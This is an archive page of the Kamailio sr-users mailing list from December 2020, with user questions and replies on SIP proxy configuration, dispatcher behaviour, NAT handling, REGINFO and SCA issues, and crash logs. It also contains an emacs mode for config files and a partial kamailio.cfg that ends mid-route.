- sr-users - kamailio.org

how to use environment variables to set listen address
by Syed Shahryar 13 Dec '20

13 Dec '20

This is a generic question about using environment variables in a config file. If I want to use below where TLS_IP itself is a constant defined somewhere else. TLS_IP might be set via an env variable as well. #!define TLS_TO_LISTEN tls:TLS_IP:$env(TLS_PORT) Will that work? I see syntax errors and other weird issues. What's the right syntax? -- -- This message contains confidential information and is intended only for the individual named. If you are not the named addressee, you should not disseminate, distribute or copy this email. Please notify the sender immediately by email if you have received this email by mistake and delete this email from your system. Email transmission cannot be guaranteed to be secure or error-free, as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender, therefore, does not accept liability for any errors or omissions in the contents of this message which arise as a result of email transmission. If verification is required, please request a hard-copy version.

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DMQ using Consul
by Syed Shahryar 12 Dec '20

12 Dec '20

Can someone share their configuration file explaining how they used consul to achieve high availability? -- -- This message contains confidential information and is intended only for the individual named. If you are not the named addressee, you should not disseminate, distribute or copy this email. Please notify the sender immediately by email if you have received this email by mistake and delete this email from your system. Email transmission cannot be guaranteed to be secure or error-free, as information could be intercepted, corrupted, lost, destroyed, arrive late or incomplete, or contain viruses. The sender, therefore, does not accept liability for any errors or omissions in the contents of this message which arise as a result of email transmission. If verification is required, please request a hard-copy version.

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empty body on first NOTIFY on REGINFO subscription - bug ?
by Adrian Tabacioiu 11 Dec '20

11 Dec '20

Hello, If the user never registered (or few hours passed from its unregister) the subscription to REGINFO will return an empty body NOTIFY (no xml). I don't see any flag in module to force a body for this case, as in the presence module is force_dummy_presence who can force a body on a first NOTIFY. The RFC3680 says : o Notifications triggered from a SUBSCRIBE contain full state (the list of all contacts bound to the address-of-record). It appears that in this case the response is not conform to RFC. Regards, Adrian

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porting keepalive module new functions on 5.4 on 5.3?
by Benoit Chesneau 11 Dec '20

11 Dec '20

2 new functions have been added to the keepalive module: - [ka_add_destination(sip_uri, owner)](https://kamailio.org/docs/modules/5.4.x/modules/keepalive.html#keep…) - [ka_del_destination(sip_uri, owner)](https://kamailio.org/docs/modules/5.4.x/modules/keepalive.html#keep…) Is there any possibility to do the same on 5.3? It seems that on 5.3 adding a destination can only be done statically: https://kamailio.org/docs/modules/5.3.x/modules/keepalive.html#idm53 or can it also be done dynamically when receiving an event using the kazoo module for example? Benoît Chesneau, Enki Multimedia — t. +33608655490 Sent with [ProtonMail](https://protonmail.com) Secure Email.

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Dispatcher algorithm 11 possible priority drifting
by Володимир Іванець 10 Dec '20

10 Dec '20

Hello all! We are running Kamailio version 5.3.3 with 16 small Asterisk servers. Kamailio uses a dispatcher module to distribute calls. Algorithm #11 is selected. All destinations are configured with priority set to 50 and attribute to rweight=50. We noticed that one server constantly receives more calls than others. I run a few tests. I was sending 1000 calls to the system. 4 per second. All servers except one were getting around 60 calls while the last one - around 100. I then noticed that the server which receives most calls is always last in the "kamcmd dispatcher.list" command output. I then changed the order in the dispatcher DB table and repeat the test. The other server that now was last was getting the most calls. Does anyone else use algorithm #11 and finds the same thing? Is there something additional that I can provide to help with the investigation? Thanks!

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kamailio.cfg fomatter
by Juha Heinanen 10 Dec '20

10 Dec '20

After noticing that emacs mode is missing, below is my first cut of kamailio-mode.el. -- Juha ----------------------------------------------------------------------- ;; kamailio mode for emacs (function list is not complete) ;; activate by starting your kamailio.cfg with this kind of line: ;; #-*-mode: kamailio; tab-width: 4; c-basic-offset: 4; (setq kamailio-font-lock-keywords (let* ( ;; define several category of keywords (x-keywords '("branch_route" "break" "case" "default" "else" "event_route" "exit" "failure_route" "for" "if" "loadmodule" "onreply_route" "onsend_route" "reply_route" "request_route" "return" "route" "switch" "while")) (x-types '()) (x-constants '()) (x-events '()) (x-functions '("acc_db_request" "add_path_received" "add_rr_param" "allow_routing" "allow_trusted" "append_hf" "append_to_reply" "avp_check" "avp_delete" "change_reply_status" "check_route_param" "defined" "dp_translate" "ERROR" "fix_nated_sdp" "force_send_socket" "forward" "get_redirects" "handle_ruri_alias" "inactivate_gw" "INFO" "in_list" "isflagset" "is_avp_set" "isbflagset" "is_direction" "is_domain_local" "is_e164" "is_gflag" "is_gruu" "is_method" "is_numeric" "is_present_hf" "jsonrpc_dispatch" "load_gws" "lookup_domain" "lookup" "loose_route" "modparam" "mt_match" "NOTICE" "proxy_challenge" "record_route" "redirecting" "remove_hf" "resetflag" "rtpengine_answer" "rtpengine_delete" "rtpengine_offer" "save" "sdp_content" "sdp_transport" "send_reply_mode" "send_reply" "setbflag" "setflag" "setxflag" "set_reply_close" "set_reply_no_connect" "set_rtpengine_set" "set_uri_host" "set_uri_user" "set_forward_no_connect" "sql_query" "sql_result_free" "starts_with" "subst_uri" "tel2sip" "t_check_status" "t_is_canceled" "t_load_contacts" "t_next_contacts" "t_on_branch" "t_on_failure" "t_on_reply" "t_relay_cancel" "t_relay" "t_set_fr" "unregister" "WARN" "ws_handle_handshake" "www_challenge" "xhttp_reply")) (x-keywords-regexp (regexp-opt x-keywords 'words)) (x-types-regexp (regexp-opt x-types 'words)) (x-constants-regexp (regexp-opt x-constants 'words)) (x-events-regexp (regexp-opt x-events 'words)) (x-functions-regexp (regexp-opt x-functions 'words))) `( (,x-types-regexp . font-lock-type-face) (,x-constants-regexp . font-lock-constant-face) (,x-events-regexp . font-lock-builtin-face) (,x-functions-regexp . font-lock-function-name-face) (,x-keywords-regexp . font-lock-keyword-face) ))) (defvar kamailio-mode-syntax-table nil "Syntax table for `kamailio-mode'.") (setq kamailio-mode-syntax-table (let ( (synTable (make-syntax-table))) ;; python style comment: “# …” (modify-syntax-entry ?# "<" synTable) (modify-syntax-entry ?\n ">" synTable) synTable)) (define-derived-mode kamailio-mode c-mode "kamailio mode" "Major mode for editing Kamailio configuration files" (setq font-lock-defaults '((kamailio-font-lock-keywords))) (set-syntax-table kamailio-mode-syntax-table)) (provide 'kamailio-mode)

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Re: [SR-Users] Dialog profile not defined
by Gertjan Wolzak 10 Dec '20

10 Dec '20

Hello Kamailions, Well, I think I found the cause of my issue where the Dialog profile was not defined.. Well it was. I had not enabled antiflood, by not enabling antiflood, the htable module was also not loaded... I guess the us of profiles_with_value parameter needs htable? Is that correct? If so, that means the htable is a dependency for the dialog module...., then it would be sometihng that could be added to the documentation of the dialog module. When this is not the case, then I have to dig deeper, as I do not get an error anymore about the profile not being known... Thank you. Gertjan

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REGINFO events not sending
by Adrian Tabacioiu 10 Dec '20

10 Dec '20

Hello, Does anybody has used with success the reginfo modules ? I added lines bellow in configuration, and tried different variations, Even if my subscribe for "reginfo" events is accepted (with 202 OK), I receive no notification when respective user registers. Nor do I get the xml body in the first notification. Added in my config: loadmodule "presence_reginfo.so" loadmodule "pua_reginfo.so" modparam("pua_reginfo", "default_domain", "192.168.60.65") modparam("pua_reginfo", "server_address", "sip:reginfo@192.168.60.65") modparam("pua_reginfo", "publish_reginfo", 1) Thank you in advance, Adrian

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SLA presence not working proper with (SCA module)
by Aatif Shaikh 10 Dec '20

10 Dec '20

Aatif Shaikh <aatif.shaikh(a)ecosmob.com> Mon, Dec 7, 11:00 AM (3 days ago) to sr-users Hello All I configure my kamailio.cfg to handle SLA using (SCA module) and shared presence is working but still facing some issue in case of hold invite and BYE and the reason behind of that issue is following error Nov 26 07:38:40 SBC-4-1 /usr/local/sbin/kamailio[104107]: ERROR: sca [sca_call_info.c:1008]: sca_call_info_invite_request_handler(): Failed to update sip:4569@test.sip.abcd.com appearance-index 0 to active actually, in Kamailio appearances, I can see the entry for this call but the index is 1 instead of 0, and Kamailio going to update with a 0 index [root@SBC-4-1 ntcarfte-kamailio]# kamcmd sca.all_appearances sip:4569@test.sip.abcd.com 1 active 1606376289 sip:4569@10.xx.xx.xx :5070;transport=udp sip:2003@test.sip.abcd.com 186161_mobile-rel120MTQ5OTcyZjFhMjMyNmI1ZGE1MWY4ODc2M2RkN2VmZmQ 45dc18d8 H6cS9vecZ248B if I manually update appearances using RPC command with index 1 then the phone started blinking as I change state to held # kamcmd sca.update_appearance sip:4569@sc4test.sip.teledge.com 1 held # kamcmd sca.all_appearances sip:4569@test.sip.abcd.com 1 held 1606376516 sip:4569@10.xx.xx.xx :5070;transport=udp sip:2003@test.sip.abcd.com 186161_mobile-rel120NzE5MDgyZDc1NjJiYjcwMWFlYmI3NzM3NjE2OTRhZjU 08f005cb eK9ratm83g92e kamailio.cfg route[SCA] { if(is_method("SUBSCRIBE")) { if ($hdr(Event) == "call-info" || $hdr(Event) == "line-seize") { xlog("L_INFO","(MAIN) :HELLO ($avp(uuid)) : $avp(rsi) $sp $hdr(Event)"); xdbg("SCA: $hdr(Event) SUBSCRIBE $ru from $si:$sp"); sca_handle_subscribe(); exit; } return; } if (!is_method("BYE|CANCEL|INVITE|PRACK|REFER")) { return; } sca_call_info_update(); } route[RELAY_OUTBOUND_FS] { xlog("L_INFO","(RELAY_OUTBOUND_FS) : ($avp(uuid)) : INSIDE ROUTE "); if (!has_totag()){ $avp(set_h) = 1; } t_on_reply("REPLY_OUTBOUND_FS"); route(SCA); if (!t_relay()) { sl_reply_error(); } exit; } route[RELAY_INBOUND_FS] { if(is_method("INVITE|BYE|UPDATE|CANCEL|ACK")) { $avp(s:puburis_caller) = $fu; setflag(8); dlg_manage(); } if(is_method("REGISTER")) { t_on_reply("REPLY_REGISTER"); } else { t_on_reply("REPLY_INBOUND_FS"); } route(SCA); if (!t_relay()) { sl_reply_error(); } exit; } onreply_route[REPLY_INBOUND_FS] { xdbg("incoming reply\n"); if (status =~ "[456][0-9][0-9]") { # don't update SCA state here, since there may be # failure route processing (e.g., call forwarding). # update state in failure route instead. return; } route(SCA); } onreply_route[REPLY_OUTBOUND_FS] { xdbg("incoming reply\n"); if (status =~ "[456][0-9][0-9]") { # don't update SCA state here, since there may be # failure route processing (e.g., call forwarding). # update state in failure route instead. return; } route(SCA); } can someone help me with this Did I missed something to handle SLA?

1 0

NAT problem with recvonly calls
by David Cunningham 10 Dec '20

10 Dec '20

Hello, We have a problem with a SIP doorbell device which sends media one way only, and NAT at the receiving device. When the doorbell button is pressed it makes a call to a configured destination. Since the doorbell only sends and doesn't receive it sends the INVITE with sendonly in the SDP, and the destination then replies with a 200 OK with recvonly in the SDP. The problem is that the destination is behind NAT, and its reply contains a private network IP in the SDP. Normally Asterisk when nat=yes works around that by adjusting the destination for RTP to be the address it actually receives audio from, however because this device is recvonly Asterisk never receives audio from it. This means Asterisk keeps trying to send the doorbell's RTP to the private network IP which of course fails, and the destination never gets the RTP from the doorbell. We haven't found a solution in Asterisk to this, so are now looking to Kamailio which acts as a load-balancing proxy in front of Asterisk for one. For example, maybe we could use fix_nated_sdp, but only on 200 OK's with recvonly. Has anyone else encountered this, and are there any recommended solutions? Thank you in advance! -- David Cunningham, Voisonics Limited http://voisonics.com/ USA: +1 213 221 1092 New Zealand: +64 (0)28 2558 3782

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Re: [SR-Users] NAT problem with recvonly calls
by Ovidiu Sas 09 Dec '20

09 Dec '20

The doorbell is the caller. ICE support would be required on the callee side (between NATed callee and asterisk). There's no need for ICE support on the doorbell/caller side. -ovidiu On Wed, Dec 9, 2020 at 2:42 AM Alex Balashov <abalashov(a)evaristesys.com> wrote: > > ICE support just doesn't seem to me to be something a SIP doorbell would > have. > > On 12/9/20 2:39 AM, Olle E. Johansson wrote: > > > > > >> On 8 Dec 2020, at 18:55, Richard Fuchs <rfuchs(a)sipwise.com > >> <mailto:rfuchs@sipwise.com>> wrote: > >> > >> Use IPv6 > > > > While I like that proposal, assuming that IPv6 will not have a stateful > > firewall is propably not a good assumption. > > So I suspect that an IPv6 firewall would not let the packets in if there > > is not outbound traffic first. I do like Ovidius > > ICE-based solution and would like to add RTCP - if muxed it would open > > the port, but the likelyhood that it’s > > implemented is propably low. > > > > IPv6 greetings! > > /O :-) > >> > >> Cheers > >> > >> On 07/12/2020 23.01, David Cunningham wrote: > >>> Hello, > >>> > >>> We have a problem with a SIP doorbell device which sends media one > >>> way only, and NAT at the receiving device. > >>> > >>> When the doorbell button is pressed it makes a call to a configured > >>> destination. Since the doorbell only sends and doesn't receive it > >>> sends the INVITE with sendonly in the SDP, and the destination then > >>> replies with a 200 OK with recvonly in the SDP. The problem is that > >>> the destination is behind NAT, and its reply contains a private > >>> network IP in the SDP. > >>> > >>> Normally Asterisk when nat=yes works around that by adjusting the > >>> destination for RTP to be the address it actually receives audio > >>> from, however because this device is recvonly Asterisk never receives > >>> audio from it. This means Asterisk keeps trying to send the > >>> doorbell's RTP to the private network IP which of course fails, and > >>> the destination never gets the RTP from the doorbell. > >>> > >>> We haven't found a solution in Asterisk to this, so are now looking > >>> to Kamailio which acts as a load-balancing proxy in front of Asterisk > >>> for one. For example, maybe we could use fix_nated_sdp, but only on > >>> 200 OK's with recvonly. > >>> > >>> Has anyone else encountered this, and are there any recommended > >>> solutions? > >>> > >>> Thank you in advance! > >>> > >>> -- > >>> David Cunningham, Voisonics Limited > >>> http://voisonics.com/ <http://voisonics.com/> > >>> USA: +1 213 221 1092 > >>> New Zealand: +64 (0)28 2558 3782 > >>> > >>> _______________________________________________ > >>> Kamailio (SER) - Users Mailing List > >>> sr-users(a)lists.kamailio.org > >>> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users > >> _______________________________________________ > >> Kamailio (SER) - Users Mailing List > >> sr-users(a)lists.kamailio.org <mailto:sr-users@lists.kamailio.org> > >> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users > > > > > > _______________________________________________ > > Kamailio (SER) - Users Mailing List > > sr-users(a)lists.kamailio.org > > https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users > > > > -- > Alex Balashov | Principal | Evariste Systems LLC > > Tel: +1-706-510-6800 / +1-800-250-5920 (toll-free) > Web: http://www.evaristesys.com/, http://www.csrpswitch.com/ > > _______________________________________________ > Kamailio (SER) - Users Mailing List > sr-users(a)lists.kamailio.org > https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users -- VoIP Embedded, Inc. http://www.voipembedded.com

1 0

GitHub discussion
by Sergey Safarov 09 Dec '20

09 Dec '20

GitHub release new feature - discussion. Example https://github.com/vercel/vercel/discussions

2 1

Kamailio as an LCR based on prices but also signaling quality indicators
by Abdoul Osséni 08 Dec '20

08 Dec '20

Hello, I am trying to configure kamailio as an LCR based on prices but also signaling quality indicators like ASR and ACDR. Can you please help me and tell me where to start? Regards Abdoul

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kamailio-5.2.0 Crash - udp_send failed
by Hamid Hashmi 07 Dec '20

07 Dec '20

I am using "kamailio 5.2.0-dev6 (x86_64/linux) 48ed62-dirty" what could be the reason of the crash its usually crash with the following logs Sep 25 16:58:41 pcscf [Proxy-CSCF][20771]: ERROR: <core> [core/udp_server.c:596]: udp_send(): sendto(sock,0x7f36eee8c560,418,0,10.100.227.202:5060,16): Invalid argument(22) Sep 25 16:58:41 pcscf [Proxy-CSCF][20771]: CRITICAL: <core> [core/udp_server.c:601]: udp_send(): invalid sendtoparameters#012one possible reason is the server is bound to localhost and#012attempts to send to the net Sep 25 16:58:41 pcscf [Proxy-CSCF][20771]: ERROR: tm [../../core/forward.h:219]: msg_send_buffer(): udp_send failed Sep 25 16:58:41 pcscf [Proxy-CSCF][20771]: WARNING: tm [t_reply.c:1581]: t_retransmit_reply(): send pr buffer failed Sep 25 16:58:41 pcscf [Proxy-CSCF][20756]: ERROR: <core> [core/udp_server.c:596]: udp_send(): sendto(sock,0x7f36ef8eb948,358,0,10.100.177.91:5060,16): Invalid argument(22) Sep 25 16:58:41 pcscf [Proxy-CSCF][20756]: CRITICAL: <core> [core/udp_server.c:601]: udp_send(): invalid sendtoparameters#012one possible reason is the server is bound to localhost and#012attempts to send to the net Sep 25 16:58:41 pcscf [Proxy-CSCF][20756]: ERROR: sl [../../core/forward.h:219]: msg_send_buffer(): udp_send failed Sep 25 16:58:41 pcscf [Proxy-CSCF][20744]: ERROR: <core> [core/udp_server.c:596]: udp_send(): sendto(sock,0x7f36ef8b4a80,358,0,10.100.72.230:5060,16): Invalid argument(22) Sep 25 16:58:41 pcscf [Proxy-CSCF][20744]: CRITICAL: <core> [core/udp_server.c:601]: udp_send(): invalid sendtoparameters#012one possible reason is the server is bound to localhost and#012attempts to send to the net Sep 25 16:58:41 pcscf [Proxy-CSCF][20744]: ERROR: sl [../../core/forward.h:219]: msg_send_buffer(): udp_send failed Sep 25 16:58:41 pcscf [Proxy-CSCF][20783]: ERROR: <core> [core/udp_server.c:596]: udp_send(): sendto(sock,0x7f36ef8ac740,416,0,10.100.72.230:5060,16): Invalid argument(22) Sep 25 16:58:41 pcscf [Proxy-CSCF][20783]: CRITICAL: <core> [core/udp_server.c:601]: udp_send(): invalid sendtoparameters#012one possible reason is the server is bound to localhost and#012attempts to send to the net Sep 25 16:58:41 pcscf [Proxy-CSCF][20783]: ERROR: tm [../../core/forward.h:219]: msg_send_buffer(): udp_send failed Sep 25 16:58:41 pcscf [Proxy-CSCF][20752]: ERROR: <core> [core/udp_server.c:596]: udp_send(): sendto(sock,0x7f36ef8b5098,356,0,10.100.56.38:5060,16): Invalid argument(22) Sep 25 16:58:41 pcscf [Proxy-CSCF][20805]: ERROR: <core> [core/udp_server.c:596]: udp_send(): sendto(sock,0x7f36ef8e8f18,416,0,10.100.177.91:5060,16): Invalid argument(22) Sep 25 16:58:41 pcscf [Proxy-CSCF][20805]: CRITICAL: <core> [core/udp_server.c:601]: udp_send(): invalid sendtoparameters#012one possible reason is the server is bound to localhost and#012attempts to send to the net Sep 25 16:58:41 pcscf [Proxy-CSCF][20805]: ERROR: tm [../../core/forward.h:219]: msg_send_buffer(): udp_send failed Sep 25 16:58:41 pcscf [Proxy-CSCF][20752]: CRITICAL: <core> [core/udp_server.c:601]: udp_send(): invalid sendtoparameters#012one possible reason is the server is bound to localhost and#012attempts to send to the net Sep 25 16:58:41 pcscf [Proxy-CSCF][20752]: ERROR: sl [../../core/forward.h:219]: msg_send_buffer(): udp_send failed Sep 25 16:58:41 pcscf [Proxy-CSCF][20777]: ERROR: <script>: Re-Transmit: REGISTER (sip:410060269353579@ims.mnc006.mcc410.3gppnetwork.org (10.100.236.57:5060) to sip:410060269353579@ims.mnc006.mcc410.3gppnetwork.org, 1SDq5cuY3iDYFKLATTp) Sep 25 16:58:41 pcscf [Proxy-CSCF][20761]: ERROR: <core> [core/udp_server.c:596]: udp_send(): sendto(sock,0x7f36ef8e8a08,354,0,10.100.2.76:5060,16): Invalid argument(22) Sep 25 16:58:41 pcscf [Proxy-CSCF][20761]: CRITICAL: <core> [core/udp_server.c:601]: udp_send(): invalid sendtoparameters#012one possible reason is the server is bound to localhost and#012attempts to send to the net Sep 25 16:58:41 pcscf [Proxy-CSCF][20761]: ERROR: sl [../../core/forward.h:219]: msg_send_buffer(): udp_send failed Sep 25 16:58:41 pcscf [Proxy-CSCF][20767]: ERROR: <core> [core/udp_server.c:596]: udp_send(): sendto(sock,0x7f36ef8ad100,360,0,10.100.144.137:5060,16): Invalid argument(22) Sep 25 16:58:41 pcscf [Proxy-CSCF][20767]: CRITICAL: <core> [core/udp_server.c:601]: udp_send(): invalid sendtoparameters#012one possible reason is the server is bound to localhost and#012attempts to send to the net Sep 25 16:58:41 pcscf [Proxy-CSCF][20767]: ERROR: sl [../../core/forward.h:219]: msg_send_buffer(): udp_send failed Sep 25 16:58:41 pcscf [Proxy-CSCF][20777]: ERROR: <core> [core/udp_server.c:596]: udp_send(): sendto(sock,0x7f36ef8eb860,360,0,10.100.140.226:5060,16): Invalid argument(22) Sep 25 16:58:41 pcscf [Proxy-CSCF][20777]: CRITICAL: <core> [core/udp_server.c:601]: udp_send(): invalid sendtoparameters#012one possible reason is the server is bound to localhost and#012attempts to send to the net Sep 25 16:58:41 pcscf [Proxy-CSCF][20777]: ERROR: sl [../../core/forward.h:219]: msg_send_buffer(): udp_send failed Sep 25 16:58:43 pcscf [Proxy-CSCF][20861]: CRITICAL: <core> [core/pass_fd.c:277]: receive_fd(): EOF on 77 Sep 25 16:58:44 pcscf [Proxy-CSCF][20853]: ERROR: <core> [core/tcp_read.c:301]: tcp_read_data(): error reading: Connection timed out (110) ([10.100.64.49]:32888 -> Sep 25 16:58:44 pcscf [Proxy-CSCF][20853]: ERROR: <core> [core/tcp_read.c:302]: tcp_read_data(): -> [10.161.224.228]:5060) Sep 25 16:58:44 pcscf [Proxy-CSCF][20853]: ERROR: <core> [core/tcp_read.c:1485]: tcp_read_req(): ERROR: tcp_read_req: error reading - c: 0x7f36a739fe78 r: 0x7f36a739fef8 Sep 25 16:58:44 pcscf [Proxy-CSCF][20742]: ALERT: <core> [main.c:748]: handle_sigs(): child process 20815 exited by a signal 11 Sep 25 16:58:44 pcscf [Proxy-CSCF][20742]: ALERT: <core> [main.c:751]: handle_sigs(): core was generated Sep 25 16:58:44 pcscf kernel: [52607827.581845] net_ratelimit: 16 callbacks suppressed Sep 25 16:58:44 pcscf [Proxy-CSCF][20742]: CRITICAL: cdp [diameter_peer.c:423]: diameter_peer_destroy(): destroy_diameter_peer(): Bye Bye from C Diameter Peer test Sep 25 16:59:01 pcscf CRON[24805]: (root) CMD (/bin/bash /root/volumes/monitoring/src/services_status.sh -p http://10.161.224.25:9091 -s kamailio_pcscf,sems -n pcscf) Sep 25 16:59:01 pcscf CRON[24804]: (CRON) info (No MTA installed, discarding output) Sep 25 16:59:44 pcscf [Proxy-CSCF][20742]: CRITICAL: <core> [main.c:654]: sig_alarm_abort(): shutdown timeout triggered, dying... but last time its also crashed with the following logs as well Sep 25 18:39:59 pcscf [Proxy-CSCF][28015]: ERROR: <core> [core/tcp_read.c:301]: tcp_read_data(): error reading: Connection timed out (110) ([10.100.183.34]:39022 -> Sep 25 18:39:59 pcscf [Proxy-CSCF][28015]: ERROR: <core> [core/tcp_read.c:302]: tcp_read_data(): -> [10.161.224.228]:5060) Sep 25 18:39:59 pcscf [Proxy-CSCF][28015]: ERROR: <core> [core/tcp_read.c:1485]: tcp_read_req(): ERROR: tcp_read_req: error reading - c: 0x7f92ca8d0150 r: 0x7f92ca8d01d0 Sep 25 18:39:59 pcscf [Proxy-CSCF][28010]: ERROR: cdp [authstatemachine.c:404]: auth_client_statefull_sm_process(): auth_client_statefull_sm_process(): Received invalid event 6 while in state Open! Sep 25 18:39:59 pcscf [Proxy-CSCF][28010]: ERROR: cdp [authstatemachine.c:404]: auth_client_statefull_sm_process(): auth_client_statefull_sm_process(): Received invalid event 6 while in state Open! Sep 25 18:40:00 pcscf [Proxy-CSCF][28034]: CRITICAL: <core> [core/pass_fd.c:277]: receive_fd(): EOF on 77 Sep 25 18:40:01 pcscf [Proxy-CSCF][28026]: ERROR: <core> [core/tcp_read.c:301]: tcp_read_data(): error reading: Connection timed out (110) ([10.100.100.218]:1337 -> Sep 25 18:40:01 pcscf [Proxy-CSCF][28026]: ERROR: <core> [core/tcp_read.c:302]: tcp_read_data(): -> [10.161.224.228]:5060) Sep 25 18:40:01 pcscf [Proxy-CSCF][28026]: ERROR: <core> [core/tcp_read.c:1485]: tcp_read_req(): ERROR: tcp_read_req: error reading - c: 0x7f92ca87f070 r: 0x7f92ca87f0f0 Sep 25 18:40:01 pcscf [Proxy-CSCF][27919]: ALERT: <core> [main.c:748]: handle_sigs(): child process 27989 exited by a signal 11 Sep 25 18:40:01 pcscf [Proxy-CSCF][27919]: ALERT: <core> [main.c:751]: handle_sigs(): core was generated Sep 25 18:40:01 pcscf kernel: [52613904.372973] net_ratelimit: 29 callbacks suppressed Sep 25 18:40:01 pcscf [Proxy-CSCF][27919]: CRITICAL: cdp [diameter_peer.c:423]: diameter_peer_destroy(): destroy_diameter_peer(): Bye Bye from C Diameter Peer test Sep 25 18:40:01 pcscf CRON[30581]: (root) CMD (/bin/bash /root/volumes/monitoring/src/services_status.sh -p http://10.161.224.25:9091 -s kamailio_pcscf,sems -n pcscf) Sep 25 18:40:01 pcscf CRON[30580]: (CRON) info (No MTA installed, discarding output) Sep 25 18:40:02 pcscf sems[2858]: [#7f2080044700] [update_uac_request, trans_layer.cpp:2080] WARNING: While sending 200 ACK: no matching transaction Sep 25 18:41:01 pcscf [Proxy-CSCF][27919]: CRITICAL: <core> [main.c:654]: sig_alarm_abort(): shutdown timeout triggered, dying... PS: Kamailio is not listening on localhost. Regards Hamid R. Hashmi

3 4

Kamilio dispatcher not registering with asterisk
by Mihai 07 Dec '20

07 Dec '20

Hi all, i have a problem with kamailio 5.3.x and asterisk 13, i basically forward everything, but i cant manage to make it register. The register arrives on asterisk see the capture bellow: Any help is much appreciated! ---------------- REGISTER sip:oro.sips.nl;transport=UDP SIP/2.0 Via: SIP/2.0/UDP 104.201.100.15;branch=z9hG4bK4d5e.997621d931a2ad9f6423e2ac7782a319.1 Via: SIP/2.0/UDP 34.12.55.102:34626 ;received=34.12.55.102;branch=z9hG4bK-524287-1---0a0bffd64bbd9941;rport=34626 Max-Forwards: 69 Contact: <sip:test-user1@34.12.55.102:34626 ;transport=UDP;rinstance=85c33e976be3dad1> To: <sip:test-user1@oro.sips.nl;transport=UDP> From: <sip:test-user1@oro.sips.nl;transport=UDP>;tag=6d8fd914 Call-ID: h6lkViFgxurpVRkw4Ly-GQ.. CSeq: 1 REGISTER Expires: 60 Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE User-Agent: Z 5.4.9 rv2.10.11.7 Allow-Events: presence, kpml, talk Content-Length: 0 Path: <sip:104.201.100.15;lr;received=sip:34.12.55.102:34626> -------------------the config ------- # - flags # FLT_ - per transaction (message) flags # FLB_ - per branch flags #!define FLT_ACC 1 #!define FLT_ACCMISSED 2 #!define FLT_ACCFAILED 3 #!define FLT_FS 10 ####### Global Parameters ######### debug=4 log_stderror=yes memdbg=5 memlog=5 log_facility=LOG_LOCAL0 fork=yes children=4 /* comment the next line to enable TCP */ disable_tcp=yes /* uncomment the next line to disable the auto discovery of local aliases based on revers DNS on IPs (default on) */ auto_aliases=no /* add local domain aliases */ # alias="mysipserver.com" port=5060 /* uncomment and configure the following line if you want Kamailio to bind on a specific interface/port/proto (default bind on all available) */ # listen=udp:127.0.0.1:5060 sip_warning=no ####### Modules Section ######## # set module path #mpath="/usr/local/lib/kamailio/modules/" #loadmodule "db_mysql.so" loadmodule "jsonrpcs.so" loadmodule "kex.so" loadmodule "corex.so" loadmodule "tm.so" loadmodule "tmx.so" loadmodule "sl.so" loadmodule "rr.so" loadmodule "pv.so" loadmodule "maxfwd.so" loadmodule "textops.so" loadmodule "siputils.so" loadmodule "xlog.so" loadmodule "sanity.so" loadmodule "ctl.so" loadmodule "acc.so" loadmodule "dispatcher.so" loadmodule "path.so" # ----------------- setting module-specific parameters --------------- # ----- jsonrpcs params ----- modparam("jsonrpcs", "pretty_format", 1) # ----- rr params ----- # add value to ;lr param to cope with most of the UAs modparam("rr", "enable_full_lr", 1) # do not append from tag to the RR (no need for this script) modparam("rr", "append_fromtag", 0) # ----- acc params ----- modparam("acc", "log_flag", FLT_ACC) modparam("acc", "failed_transaction_flag", FLT_ACCFAILED) modparam("acc", "log_extra", "src_user=$fU;src_domain=$fd;dst_ouser=$tU;dst_user=$rU;dst_domain=$rd;src_ip=$si") # ----- tm params ----- modparam("tm", "fr_timer", 2000) modparam("tm", "fr_inv_timer", 40000) # ----- dispatcher params ----- #modparam("dispatcher", "db_url", DBURL) #modparam("dispatcher", "table_name", "dispatcher") modparam("dispatcher", "list_file", "/etc/kamailio/dispatcher.list") modparam("dispatcher", "flags", 2) modparam("dispatcher", "xavp_dst", "_dsdst_") modparam("dispatcher", "xavp_ctx", "_dsctx_") modparam("dispatcher", "ds_ping_from", "sip:proxy@mykamailio") modparam("dispatcher", "ds_ping_interval", 30) modparam("dispatcher", "ds_probing_threshold", 10) modparam("dispatcher", "ds_inactive_threshold", 5) modparam("dispatcher", "ds_ping_reply_codes", "class=2;code=403;code=488;class=3") modparam("dispatcher", "ds_probing_mode", 1) modparam("path", "use_received", 1) ####### Routing Logic ######## # main request routing logic request_route { # per request initial checks route(REQINIT); if(ds_is_from_list()) { setflag(FLT_FS); } # CANCEL processing if (is_method("CANCEL")) { if (t_check_trans()) { route(RELAY); } exit; } # handle retransmissions if (!is_method("ACK")) { if(t_precheck_trans()) { t_check_trans(); exit; } t_check_trans(); } # handle requests within SIP dialogs route(WITHINDLG); if (isflagset(FLT_FS)) { route(FROM_FS); exit; } ### only initial requests (no To tag) # record routing for dialog forming requests (in case they are routed) # - remove preloaded route headers remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE")) { record_route(); } # account only INVITEs if (is_method("INVITE")) { setflag(FLT_ACC); # do accounting } # handle presence related requests route(PRESENCE); # handle registrations route(REGISTRAR); if ($rU==$null) { # request with no Username in RURI sl_send_reply("484","Address Incomplete"); exit; } # dispatch destinations route(DISPATCH); } route[FROM_FS] { record_route(); route(RELAY); exit; } route[RELAY] { if (!t_relay()) { sl_reply_error(); } exit; } # Per SIP request initial checks route[REQINIT] { if (!mf_process_maxfwd_header("10")) { sl_send_reply("483","Too Many Hops"); exit; } if(!sanity_check("1511", "7")) { xlog("Malformed SIP message from $si:$sp\n"); exit; } } # Handle requests within SIP dialogs route[WITHINDLG] { if (has_totag()) { # sequential request withing a dialog should # take the path determined by record-routing if (loose_route()) { if (is_method("BYE")) { setflag(FLT_ACC); # do accounting ... setflag(FLT_ACCFAILED); # ... even if the transaction fails } route(RELAY); } else { if (is_method("SUBSCRIBE") && uri == myself) { # in-dialog subscribe requests route(PRESENCE); exit; } if ( is_method("ACK") ) { if ( t_check_trans() ) { # non loose-route, but stateful ACK; # must be ACK after a 487 or e.g. 404 from upstream server t_relay(); exit; } else { # ACK without matching transaction ... ignore and discard. exit; } } sl_send_reply("404","Not here"); } exit; } } # Handle SIP registrations route[REGISTRAR] { 